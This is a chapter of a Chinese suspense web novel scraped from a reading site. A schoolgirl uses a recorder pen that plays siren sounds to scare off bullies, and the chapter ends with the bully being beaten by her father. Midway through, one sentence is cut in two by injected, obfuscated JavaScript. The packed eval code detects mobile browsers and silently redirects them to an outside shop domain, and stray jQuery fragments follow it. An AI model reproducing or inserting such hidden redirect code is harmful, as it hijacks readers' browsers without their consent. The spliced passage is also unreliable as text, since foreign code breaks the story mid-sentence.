文趣网 > 都市小说 > 今日难越[悬疑] > 26. 第 26 章
    “我身上就这么多钱,别的没有。”蒋今越知道临江也有劫道的小混混,她不在乎钱,蒋国良在这方面对她从不吝啬,她只想赶紧结束一切回家休息。还没等带头的丁亚楠放出什么狠话,只是开头的小妹刚说了两句,她就果断从兜里丢出三百块,还把所有口袋都翻了出来,以示诚实。

    眼前的四五个人反倒被这过度配合弄得有点不适应,见其他人都没声,丁亚楠只能走上前来拽住蒋今越的衣领,女孩眼里完全没有慌乱,这让丁亚楠更加窝火:“你还挺懂事是吧。”

    她正准备继续骂,但不远处凑巧走过来几个临江的学生,丁亚楠没再继续,只是恶狠狠地留了一句:“那你就当长长记性吧。”

    蒋今越没把这事放在心上,但在这几个人没过几天就第二次出现在自己面前的时候,她知道,自己是被对方盯上了。

    这次的丁亚楠看准了不会有人出现的场地,甚至特地喊了两个人出去放风拦人,这回蒋今越交钱也不顶用了,几个人堵在前面,一副势必要打人的模样。

    一巴掌击出。

    可谁都没想到的是,蒋今越远比她们想象的要灵敏,甚至力气也大得多,看着丁亚楠的第一掌被她躲开,第二掌又被她握住手腕,这时才有人想起蒋今越的父亲是什么人。天赋的残酷性总在对比中彰显出来,哪怕不经过任何训练,也终究有人天生比其他人强。

    “等个屁啊,一起来。”被拽住的丁亚楠急了,喊道。

    其他人刚想上前,其中一个人却发现不对:“等会,这是什么声音。”

    微弱的警笛从渺远的地方传来,听不清到底是哪个方向,但在安静的夜晚里却无比响亮,被人这么一提醒,所有人都注意到了那声音。

    “草,怎么这么倒霉?”女孩里不知道谁骂了一句。

    “怎么能说倒霉?就是我让人报的警呀。”蒋今越却突然笑了起来,越来大声,在黑暗里显得异常诡异,像是刻意出声,方便远处的人赶紧找到自己的位置。

    “你——”丁亚楠瞪大双眼,心里一下子就慌了。胡闹归胡闹,被人弄到派出所里等家长来接就是另一回事了。

    “草,快跑。”几个女孩一听这个,毫不犹豫地掉头就走,丁亚楠也想走,可蒋今越还在死死地拽住她,一副誓要把她留下来,直到警察出现的模样。

    这下子丁亚楠彻底急了,手脚并用才勉强挣脱出来,离开的时候还不忘撂狠话:“你给我记住,警察也保不了你一辈子。”

    蒋今越看着一行人逐渐消失在视野里,这才捡起被丢在角落里的书包,从里面找出一只笔来,若有似无的警笛声正从里面传出,她按了下最顶端的按钮,声音顿时消弭。

    因为这次的不欢而散,丁亚楠她们总算是消停了一阵子。

    但几个星期后,蒋今越再次看到丁亚楠的时候,眼里也没有丝毫意外。这回她们有备而来,有个人包里甚至直接揣了根棒球棍,也不知道是从哪弄来的。尽管没过多久,警笛就再次响了起来,但蒋今越还是免不了挨上了几棍。

    有了这次经历,丁亚楠终于确立了这种少量多次的战术方针。几个人每次出现得都很快,一听到警笛,撂下几招就走,没过几回,终于有人发现了不对,循着声音去找,很快就从包里翻出了那只录音笔。

    “草,我说条子们怎么可能每次都来的这么快,原来是你在搞花招。”翻包的那个女孩把笔往地下一摔,声音也随之消失。

    “就你啊,还想搞我们。”没了那恼人的警笛声,丁亚楠冷笑了几声,她紧盯着蒋今越,用手拍了她的脸几下,“现在没人能救得了你。”

    她希望从这张可恶又精致的脸上看到恐惧,可蒋今越的眼睛沉得像深不见底的湖水一样,任何事发生在她面前都像掉进湖水的石头,只会在片刻涟漪后恢复平静。

    陈跃喜欢的就是这样的她吗?

    想起自己的男朋友,丁亚楠又是一股无名火起。在他们这群朋友中间,陈跃是长得最高最帅的那个,一双桃花眼看狗都深情,时下流行说“男人不坏女人不爱”,这种混不吝的坏男孩模样最受女孩欢迎,光是站在路边抽烟就时不时就有脸红心跳的小女生找他要微信,无论对方什么模样,他都来者不拒。这让丁亚楠很是恼火,可她每次发作,陈跃都一副无辜模样——“那我总不能伤人家心吧”,紧接着又扑在她身上亲,堵住嘴就算是安抚。

    丁亚楠扪心自问,自己长得是毫无疑问的漂亮,又会化妆又敢打扮,在她眼里,除了自己没人能配得上陈跃,她查过陈跃的手机,他跟那些加了微信的女孩也没什么过分言论,这才放心,直到那天有人看到他和蒋今越拉拉扯扯。

    她去质问陈跃,对方只说他们什么也没发生,所谓告白只不过是他跟兄弟打赌输了的恶作剧,让她不要想东想西。这种态度反而让她越想越气,她决心向蒋今越报复,没想到却被反过来捉弄,可在蒋今越这里越是碰壁,她就越想把这张脸撕烂。

    丁亚楠痛痛快快朝着蒋今越的右脸扇了一巴掌,蒋今越没躲开,也没拦她,一直堵在胸口的这口气终于发泄出来,让丁亚楠大笑起来。

    “没人来救我?”蒋今越不恐惧也不愤怒,反而笑了起来,“可是警察真的要来了。”

    丁亚楠后知后觉,如此顺利又响亮的一声反而让人感觉异样,可那点异样感很快就被快感冲淡:“你还想说什么,你有第二根录音笔?到现在了还想骗我。”

    “我从不骗人的。”蒋今越任由自己的下巴被丁亚楠捏住,在她耳畔轻轻地说道,如同好友般亲切呢喃。

    “还想骗我。”

    丁亚楠再次举

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17661430|206490||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    起手,可还没等巴掌落下,下一秒,密集的脚步声如同匆匆的骤雨般响起,手电筒的光到处乱晃,好似闪电,男人们的声音像雷霆般震耳欲聋,如夏日暴雨般把丁亚楠吓得浑身发抖——

    “警察!所有人都给我蹲下!”

    后面的事情用不着蒋今越继续往下说,丁胜男也知道了。

    那个晚上,刚把弟弟从医院接回家的丁威接了个电话,紧接着就语焉不详又满嘴脏话地冲出了门,等到第二天丁胜男醒来的时候,才发现自己的妹妹一宿没回来,丁亚楠之前也夜不归宿过,作为姐姐的她什么也做不了,只是起床默默地刷牙洗脸。

    丁家的其他人都要上学上班,做饭的事情便交给了她这个无业游民。忽略起床的困难,在一日三餐里,早餐是最不麻烦的一顿,前一天她已经早早地把食材都放进不同的锅,预订好时间,这样一醒来米粥和水煮蛋就已经做好,她只需要盛出来就行。

    就在她把最后一碗汤盛出来的时候,家里的门开了,凉飕飕的风钻进厨房,比冰还冷的两人一前一后走了进来。

    丁胜男眼神好,透过打开的厨房门一眼就看见丁亚楠红肿的脸和凌乱的头发,她以为是外面的风吹的结果,直到丁威再次拽住丁亚楠的头发,找了根棍子往她背上砸。

    “让你打架!让你不学好!让你抢人家钱!让你去派出所!让你打架!”

    丁亚楠罕见地没回嘴,只是一个劲地哭着,往外躲,奈何头发被死死抓住。

    以往丁威不是没打过她,但这么严重的还是头一次,听着凄厉的哭声,站在厨房的丁胜男不知道如何是好,最后只能冒出一声“吃饭吧,爸。”

    丁威用通红的双眼瞪了她一眼,像是在骂她少插嘴,可就这一秒的松懈就足够丁亚楠溜走,丁威剩下的怒火无处发泄,于是走进厨房,抬手就是一巴掌。

    “也不知道管好你妹。”丁胜男的右脸迅速红了一片,可她低着头什么也没说。

    另一边,丁亚楠飞速地溜进卧室反锁上了门,也不管丁胜男也跟她睡同一间屋子,一关就是三天,直到饿得受不了才趁着丁威不在的时候出来。

    这件事刚过去也才一个月,丁亚楠还能清晰回忆起被抓进派出所的屈辱,听说那只录音笔足足有两万块,魏姐因为摔坏了那支笔又赔不起直接被抓了进去,也不知道现在出来了没。

    想到这里,丁亚楠又想起今天早上照镜子时看到的自己脸上的伤痕,她惹不起蒋今越,索性去瞪丁胜男:“真有你的,把人找到家里来欺负我是吧。”

    说完便头也不回地走出了家门。

    丁胜男说不出自己那时候的感觉,只是觉得荒谬,就好像是饿久了的人好不容易找到了一块面包,一口咬下去的时候却发现那其实是个石头,满心都只有被命运捉弄的荒诞。